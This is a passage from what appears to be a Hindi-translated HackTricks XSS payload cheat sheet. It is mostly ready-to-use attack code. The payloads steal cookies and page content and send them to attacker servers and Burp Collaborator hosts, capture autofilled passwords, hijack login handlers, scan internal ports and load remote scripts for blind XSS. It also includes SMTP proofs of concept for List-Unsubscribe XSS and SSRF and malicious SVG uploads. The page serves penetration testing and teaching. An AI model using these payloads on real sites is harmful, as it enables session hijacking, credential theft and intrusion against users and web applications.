((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}

XSS सामान्य payloads

1 में कई payloads

Steal Info JS

Iframe Trap

उपयोगकर्ता को पेज पर ऐसे नेविगेट कराएँ कि वह iframe से बाहर न निकले और उसकी क्रियाएँ चुरा लें (जिसमें फ़ॉर्म में भेजी गई जानकारी भी शामिल है):

Iframe Traps

Cookies प्राप्त करें

<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

Tip

आप JavaScript से cookies तक पहुँच नहीं पाएंगे अगर cookie में HTTPOnly flag सेट है। लेकिन यहाँ some ways to bypass this protection हैं अगर आप काफी भाग्यशाली हों।

पृष्ठ सामग्री चुराना

var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)

आंतरिक IPs ढूंढें

<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}

function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})

setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>

Port Scanner (fetch)

const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Port Scanner (websockets)

var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

छोटे समय का अर्थ है कि पोर्ट उत्तर दे रहा है लंबा समय का अर्थ है कि कोई प्रतिक्रिया नहीं है.

Chrome में प्रतिबंधित पोर्ट्स की सूची here और Firefox में here देखें।

क्रेडेंशियल्स माँगने के लिए बॉक्स

<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Auto-fill passwords कैप्चर

<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

जब किसी भी डेटा को password field में डाला जाता है, तो username और password attackers server को भेज दिए जाते हैं, यहां तक कि यदि client एक saved password चुनता है और कुछ भी नहीं लिखता तो भी credentials को ex-filtrated किया जाएगा।

Hijack form handlers to exfiltrate credentials (const shadowing)

यदि कोई critical handler (e.g., function DoLogin(){...}) पेज में बाद में घोषित किया गया है, और आपका payload पहले चलता है (e.g., via an inline JS-in-JS sink), तो handler को preempt और lock करने के लिए उसी नाम का const पहले परिभाषित करें। बाद के function declarations किसी const नाम को rebind नहीं कर सकते, जिससे आपका hook नियंत्रण में रहता है:

const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};

Notes

  • यह execution order पर निर्भर करता है: आपका injection वैध declaration से पहले execute होना चाहिए।
  • अगर आपका payload eval(...) में लिपटा है, तो const/let bindings globals नहीं बनेंगी। एक सच्चे global, non-rebindable binding को सुनिश्चित करने के लिए section “Deliverable payloads with eval(atob()) and scope nuances” में बताई गई dynamic <script> injection technique का उपयोग करें।
  • जब keyword filters कोड को ब्लॉक करें, तो ऊपर दिखाए अनुसार Unicode-escaped identifiers या eval(atob('...')) delivery के साथ combine करें।

Keylogger

Just searching in github I found a few different ones:

Stealing CSRF tokens

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

PostMessage संदेश चुराना

<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

PostMessage-origin script loaders (opener-gated)

यदि कोई पृष्ठ postMessage से event.origin को स्टोर करता है और बाद में उसे एक script URL में जोड़ता है, sender लोड की गई JS का origin नियंत्रित करता है:

window.addEventListener('message', (event) => {
if (event.data.msg_type === 'IWL_BOOTSTRAP') {
localStorage.setItem('CFG', {host: event.origin, pixelID: event.data.pixel_id});
startIWL(); // later loads `${host}/sdk/${pixelID}/iwl.js`
}
});

Exploitation recipe (from CAPIG):

  • Gates: केवल तब चलता है जब window.opener मौजूद हो और pixel_id allowlisted हो; origin is never checked.
  • Use CSP-allowed origin: victim CSP द्वारा पहले से अनुमति प्राप्त किसी domain पर pivot करें (उदा., logged-out help pages जो analytics की अनुमति देते हैं जैसे *.THIRD-PARTY.com) और वहां /sdk/<pixel_id>/iwl.js को takeover/XSS/upload के माध्यम से होस्ट करें।
  • Restore opener: Android WebView में, window.name='x'; window.open(target,'x') पेज को उसका खुद का opener बना देता है; hijacked iframe से malicious postMessage भेजें।
  • Trigger: iframe {msg_type:'IWL_BOOTSTRAP', pixel_id:<allowed>} पोस्ट करता है; parent तब CSP-allowed origin से attacker iwl.js लोड करके चलाता है।

यह origin-less postMessage validation को एक remote script loader primitive में बदल देता है जो CSP को बायपास कर सकता है यदि आप किसी भी origin पर पहुंच सकें जिसे policy पहले से allowed करती है।

Supply-chain stored XSS via backend JS concatenation

जब कोई backend shared SDK बनाता है JS strings को user-controlled values के साथ concatenate करके, तो कोई भी quote/structure breaker script inject कर सकता है जो हर consumer को serve किया जाता है:

  • Example pattern (Meta CAPIG): server सीधे capig-events.js में append करता है cbq.config.set("<pixel>","IWLParameters",{params: <user JSON>});
  • ' या "]} inject करने से literal/object बंद हो जाता है और attacker JS जुड़ जाता है, जिससे distributed SDK में हर साइट के लिए stored XSS बनता है जो इसे लोड करती है (first-party और third-party)।

Stored XSS in generated reports when escaping is disabled

यदि uploaded files parse किए जाते हैं और उनका metadata HTML reports में escaping disabled (|safe, custom renderers) के साथ प्रिंट किया जाता है, तो वह metadata एक stored XSS sink है। Example flow:

xmlhost = data.getAttribute(f'{ns}:host')
ret_list.append(('dialer_code_found', (xmlhost,), ()))
'title': a_template['title'] % t_name  # %s fed by xmlhost

एक Django टेम्पलेट {{item|key:"title"|safe}} रेंडर करता है, इसलिए हमलावर का HTML चल जाता है।

Exploit: किसी भी manifest/config फ़ील्ड में जो रिपोर्ट तक पहुँचती है, entity-encoded HTML रखें:

<data android:scheme="android_secret_code"
android:host="&lt;img src=x onerror=alert(document.domain)&gt;"/>

Rendered with |safe, the report outputs <img ...> and fires JS on view.

Hunting: look for report/notification builders that reuse parsed fields in %s/f-strings and disable auto-escape. One encoded tag in an uploaded manifest/log/archive persists XSS for every viewer.

Service Workers का दुरुपयोग

Abusing Service Workers

Shadow DOM तक पहुँच

Shadow DOM

Polyglots

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt

Blind XSS payloads

आप यह भी उपयोग कर सकते हैं: https://xsshunter.com/

"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>

<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))

<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>

<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />

<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />

<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}

Regex - छिपी हुई सामग्री तक पहुँच

यह this writeup बताता है कि भले ही कुछ मान JS से गायब हो जाएँ, फिर भी उन्हें विभिन्न objects में JS attributes में पाया जा सकता है। उदाहरण के लिए, एक REGEX का input तब भी पाया जा सकता है जब regex के input का मान हटा दिया गया हो:

// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)

// Remove flag value, nobody will be able to get it, right?
flag = ""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)

Brute-Force List

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt

XSS अन्य कमजोरियों का दुरुपयोग

XSS in Markdown

क्या आप ऐसा Markdown code inject कर सकते हैं जो render होगा? हो सकता है कि आप XSS प्राप्त कर लें! देखें:

XSS in Markdown

XSS to SSRF

क्या आपको किसी caching का उपयोग करने वाली साइट पर XSS मिला है? कोशिश करें इसे SSRF में अपग्रेड करना Edge Side Include Injection के माध्यम से, इस payload के साथ:

<esi:include src="http://yoursite.com/capture" />

Use it to bypass cookie restrictions, XSS filters and much more!
More information about this technique here: XSLT.

डायनामिक रूप से बनाए गए PDF में XSS

यदि कोई वेब पेज उपयोगकर्ता-नियंत्रित इनपुट का उपयोग करके PDF बना रहा है, तो आप उस PDF बनाने वाले bot को trick करके इसे arbitrary JS code execute करने के लिए प्रेरित करने की कोशिश कर सकते हैं.
तो, यदि PDF creator bot किसी प्रकार के HTML tags को पाता है, तो वह उन्हें interpret करेगा, और आप इस व्यवहार का दुरुपयोग करके एक Server XSS पैदा कर सकते हैं.

Server Side XSS (Dynamic PDF)

यदि आप HTML tags इंजेक्ट नहीं कर पा रहे हैं तो inject PDF data करने की कोशिश करना उपयोगी हो सकता है:

PDF Injection

XSS in Amp4Email

AMP, मोबाइल डिवाइसों पर वेब पेज प्रदर्शन तेज करने के उद्देश्य से, HTML tags के साथ JavaScript को सम्मिलित करता है ताकि गति और सुरक्षा पर जोर देते हुए कार्यक्षमता सुनिश्चित की जा सके। यह विभिन्न सुविधाओं के लिए घटकों की एक श्रृंखला का समर्थन करता है, जिन्हें आप AMP components के माध्यम से एक्सेस कर सकते हैं।

The AMP for Email format कुछ विशिष्ट AMP components को ईमेल में विस्तारित करता है, जिससे प्राप्तकर्ता सीधे अपने ईमेल के भीतर सामग्री के साथ इंटरैक्ट कर सकते हैं।

उदाहरण writeup XSS in Amp4Email in Gmail.

List-Unsubscribe Header Abuse (Webmail XSS & SSRF)

RFC 2369 List-Unsubscribe header में attacker-controlled URIs एम्बेड होते हैं जिन्हें कई webmail और mail clients स्वचालित रूप से “Unsubscribe” बटन में बदल देते हैं। जब ये URIs बिना वैधता जांच के render या fetch किए जाते हैं, तो यह header दोनों के लिए एक injection point बन जाता है: stored XSS (यदि unsubscribe लिंक DOM में रखा गया हो) और SSRF (यदि server उपयोगकर्ता की ओर से unsubscribe request करता है)।

Stored XSS via javascript: URIs

  1. खुद को एक ईमेल भेजें जहाँ header javascript: URI की ओर इशारा करता हो, और संदेश का बाकी भाग benign रखा गया हो ताकि spam filters उसे न हटा दें।
  2. सुनिश्चित करें कि UI उस मान को रेंडर करता है (कई clients इसे “List Info” pane में दिखाते हैं) और जांचें कि resultant <a> tag attacker-controlled attributes जैसे href या target inherit करता है या नहीं।
  3. execution ट्रिगर करें (उदा., CTRL+click, middle-click, या “open in new tab”) जब लिंक target="_blank" का उपयोग करता है; ब्राउज़र प्रदान की गई JavaScript को webmail application के origin में evaluate करेंगे।
  4. stored-XSS primitive को अवलोकन करें: payload ईमेल के साथ बना रहता है और execute करने के लिए केवल एक क्लिक की आवश्यकता होती है।
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click

URI में newline byte (%0a) यह दिखाता है कि असामान्य characters भी rendering pipeline में बच जाते हैं vulnerable clients जैसे Horde IMP H5 में, जो anchor tag के अंदर string को बिना बदले output करते हैं।

Minimal SMTP PoC जो एक malicious List-Unsubscribe header डिलिवर करता है ```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage

smtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” sender = “list@example.org” recipient = “victim@example.org”

msg = EmailMessage() msg.set_content(“Testing List-Unsubscribe rendering”) msg[“From”] = sender msg[“To”] = recipient msg[“Subject”] = “Newsletter” msg[“List-Unsubscribe”] = “javascript://evil.tld/%0aconfirm(document.domain)” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”

with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)

</details>

#### Server-side unsubscribe proxies -> SSRF

कुछ क्लाइंट, जैसे Nextcloud Mail app, unsubscribe action को server-side पर proxy करते हैं: बटन पर क्लिक करने से सर्वर को दिया गया URL खुद फेच करने का निर्देश मिलता है। इससे header एक SSRF primitive बन जाता है, खासकर जब एडमिन्स `'allow_local_remote_servers' => true` सेट करते हैं (documented in [HackerOne report 2902856](https://hackerone.com/reports/2902856)), जिससे loopback और RFC1918 रेंजेस की ओर requests की अनुमति मिलती है।

1. **Craft an email** where `List-Unsubscribe` targets an attacker-controlled endpoint (for blind SSRF use Burp Collaborator / OAST).
2. **Keep `List-Unsubscribe-Post: List-Unsubscribe=One-Click`** ताकि UI एक single-click unsubscribe बटन दिखाए।
3. **Satisfy trust requirements**: Nextcloud, उदाहरण के लिए, केवल तब HTTPS unsubscribe requests करता है जब संदेश DKIM पास करता है, इसलिए attacker को उस domain का उपयोग करके ईमेल sign करना होगा जिसे वे control करते हैं।
4. **Deliver the message to a mailbox processed by the target server** और तब तक प्रतीक्षा करें जब तक कोई user unsubscribe बटन पर क्लिक न कर दे।
5. **Observe the server-side callback** collaborator endpoint पर, फिर primitive कन्फर्म होने पर internal addresses की ओर pivot करें।
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
DKIM-साइन किया गया List-Unsubscribe संदेश SSRF परीक्षण के लिए ```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkim

smtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” dkim_selector = “default” dkim_domain = “example.org” dkim_private_key = “”“—–BEGIN PRIVATE KEY—–\n…\n—–END PRIVATE KEY—–”“”

msg = EmailMessage() msg.set_content(“One-click unsubscribe test”) msg[“From”] = “list@example.org” msg[“To”] = “victim@example.org” msg[“Subject”] = “Mailing list” msg[“List-Unsubscribe”] = “http://abcdef.oastify.com” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”

raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[“From”, “To”, “Subject”] ) msg[“DKIM-Signature”] = signature.decode().split(“: “, 1)[1].replace(”\r“, “”).replace(“\n”, “”)

with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)

</details>

**परीक्षण नोट्स**

- OAST endpoint का उपयोग करके blind SSRF hits इकट्ठा करें, फिर primitive पुष्टि होने के बाद `List-Unsubscribe` URL को लक्ष्य करने के लिए `http://127.0.0.1:PORT`, metadata services, या अन्य internal hosts पर अनुकूलित करें।
- क्योंकि unsubscribe helper अक्सर application के साथ वही HTTP stack पुन: उपयोग करता है, आप इसके proxy settings, HTTP verbs, और header rewrites को inherit कर लेते हैं, जिससे [SSRF methodology](../ssrf-server-side-request-forgery/README.md) में वर्णित आगे के traversal tricks संभव होते हैं।

### XSS uploading files (svg)

इमेज के रूप में नीचे दी गई फ़ाइल अपलोड करें (स्रोत: [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

अधिक SVG payloads के लिए देखें https://github.com/allanlw/svg-cheatsheet

विविध JS Tricks & प्रासंगिक जानकारी

Misc JS Tricks & Relevant Info

XSS संसाधन

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें